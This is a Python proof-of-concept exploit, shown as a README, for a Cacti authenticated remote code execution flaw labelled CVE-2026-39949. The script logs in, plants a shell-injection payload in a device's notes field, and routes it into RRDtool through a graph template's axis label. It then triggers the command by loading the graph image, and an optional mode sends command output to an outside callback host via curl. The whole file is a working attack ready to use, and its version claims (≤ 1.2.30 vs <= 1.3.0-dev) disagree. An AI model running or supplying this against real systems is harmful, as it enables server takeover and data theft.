README.md
Rendering markdown...
#!/usr/bin/env python3
"""
Cacti ≤ 1.2.30 — Authenticated RCE via Host Variable Injection (CVE-2026-39949)
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com
"""
import argparse, sys, time, re
import urllib.request, urllib.parse, http.cookiejar
R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"; B = "\033[1m"; E = "\033[0m"
def banner():
print(fr"""{R}{B}
\|/ (__)
`\------(oo)
|| (__)
||w--|| \|/
\|/
{E}{B}Cacti Authenticated RCE — Host Variable Injection into RRDtool{E}
""")
class CactiExploit:
def __init__(self, url, user, pw):
self.base = url.rstrip('/')
self.user = user
self.pw = pw
self.jar = http.cookiejar.CookieJar()
self.http = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.jar))
self.http.addheaders = [('User-Agent', 'Mozilla/5.0')]
def get(self, path, params=None):
url = self.base + path + ('?' + urllib.parse.urlencode(params) if params else '')
r = self.http.open(url, timeout=15)
return r.read().decode('utf-8', errors='replace'), r.geturl()
def post(self, path, data):
r = self.http.open(urllib.request.Request(
self.base + path,
urllib.parse.urlencode(data).encode(),
{'Content-Type': 'application/x-www-form-urlencoded'}
), timeout=15)
return r.read().decode('utf-8', errors='replace'), r.geturl()
def csrf(self, path, params=None):
html, _ = self.get(path, params)
m = re.search(r'name=["\']__csrf_magic["\'][^>]*value=["\']([^"\']+)["\']', html)
return m.group(1) if m else ''
def login(self):
print(f"[*] Authenticating as {self.user}...")
self.post('/index.php', {
'action': 'login', 'login_username': self.user,
'login_password': self.pw, '__csrf_magic': self.csrf('/index.php'),
})
for c in self.jar:
if 'cacti' in c.name.lower():
print(f" {G}[+] Session established{E}")
return True
print(f" {R}[-] Login failed{E}"); return False
def create_device(self, notes):
_, url = self.post('/host.php', {
'action': 'save', 'save_component_host': '1', 'reindex_method': '1',
'id': '0', 'host_template_id': '0', 'description': 'poc',
'hostname': '127.0.0.1', 'location': '', 'poller_id': '1', 'site_id': '1',
'device_threads': '1', 'availability_method': '0', 'snmp_options': '0',
'ping_method': '1', 'ping_port': '23', 'ping_timeout': '400',
'ping_retries': '1', 'snmp_version': '2', 'snmp_community': 'public',
'snmp_security_level': 'authPriv', 'snmp_auth_protocol': 'MD5',
'snmp_username': '', 'snmp_password': '', 'snmp_password_confirm': '',
'snmp_priv_protocol': 'DES', 'snmp_priv_passphrase': '',
'snmp_priv_passphrase_confirm': '', 'snmp_context': '', 'snmp_engine_id': '',
'snmp_port': '161', 'snmp_timeout': '500', 'snmp_retries': '3',
'max_oids': '10', 'bulk_walk_size': '0', 'external_id': '',
'notes': notes, '__csrf_magic': self.csrf('/host.php', {'action': 'edit'}),
})
m = re.search(r'[?&]id=(\d+)', url)
return m.group(1) if m else None
def create_template(self):
_, url = self.post('/graph_templates.php', {
'action': 'save', 'save_component_template': '1',
'graph_template_id': '0', 'graph_template_graph_id': '0',
'name': 'poc', 'class': 'unassigned', 'version': '', 'title': 'poc',
'vertical_label': '', 'image_format_id': '1', 'height': '200',
'width': '700', 'base_value': '1000', 'auto_scale_opts': '2',
'upper_limit': '100', 'lower_limit': '0', 'unit_value': '',
'unit_exponent_value': '', 'unit_length': '', 'right_axis': '',
'right_axis_label': '|host_notes|', # injection vector
'right_axis_format': '0', 'right_axis_formatter': '0',
'left_axis_format': '0', 'left_axis_formatter': '0',
'tab_width': '', 'legend_position': '0', 'legend_direction': '0',
'rrdtool_version': '1.7.2',
'__csrf_magic': self.csrf('/graph_templates.php', {'action': 'template_edit'}),
})
m = re.search(r'[?&]id=(\d+)', url)
return m.group(1) if m else None
def create_graph(self, host_id, tmpl_id):
self.post('/graphs_new.php', {
'save_component_graph': '1', 'cg_g': tmpl_id, 'host_id': str(host_id),
'host_template_id': '0', 'action': 'save', 'graph_type': '-2', 'rows': '-1',
'__csrf_magic': self.csrf('/graphs_new.php', {'reset': 'true', 'host_id': host_id}),
})
html, _ = self.get('/host.php', {'action': 'edit', 'id': host_id})
ids = re.findall(r'graph_edit&(?:amp;)?id=(\d+)', html)
return ids[-1] if ids else None
def trigger(self, graph_id):
try:
self.get('/graph_image.php', {
'local_graph_id': graph_id, 'rra_id': '0',
'graph_start': '-3600', 'graph_end': '0',
})
except Exception:
pass
def run(self, cmd, oob=None):
if oob:
payload_cmd = f"curl -sk http://{oob}/$({cmd}|base64 -w0)"
else:
payload_cmd = cmd
notes = f"'; ({payload_cmd} &); '"
print(f"[*] Creating device...")
host_id = self.create_device(notes)
if not host_id: print(f" {R}[-] Failed{E}"); return False
print(f" {G}[+] host_id={host_id}{E}")
print(f"[*] Creating template...")
tmpl_id = self.create_template()
if not tmpl_id: print(f" {R}[-] Failed{E}"); return False
print(f" {G}[+] template_id={tmpl_id}{E}")
print(f"[*] Creating graph...")
graph_id = self.create_graph(host_id, tmpl_id)
if not graph_id: print(f" {R}[-] Failed{E}"); return False
print(f" {G}[+] graph_id={graph_id}{E}")
print(f"[*] Triggering...")
time.sleep(1)
self.trigger(graph_id)
time.sleep(1)
print(f"\n{G}{B}[+] Done.{E}")
if oob:
print(f" {Y}Check collaborator for HTTP callback — path = base64({cmd}){E}")
return True
def main():
banner()
p = argparse.ArgumentParser(description='Cacti <= 1.3.0-dev Authenticated RCE')
p.add_argument('--url', required=True)
p.add_argument('--user', default='admin')
p.add_argument('--pass', dest='password', default='admin')
p.add_argument('--cmd', default='id', help='Command to execute (default: id)')
p.add_argument('--oob', help='OOB callback host (Burp Collaborator / interactsh)')
args = p.parse_args()
e = CactiExploit(args.url, args.user, args.password)
if not e.login(): sys.exit(1)
e.run(cmd=args.cmd, oob=args.oob)
if __name__ == '__main__':
main()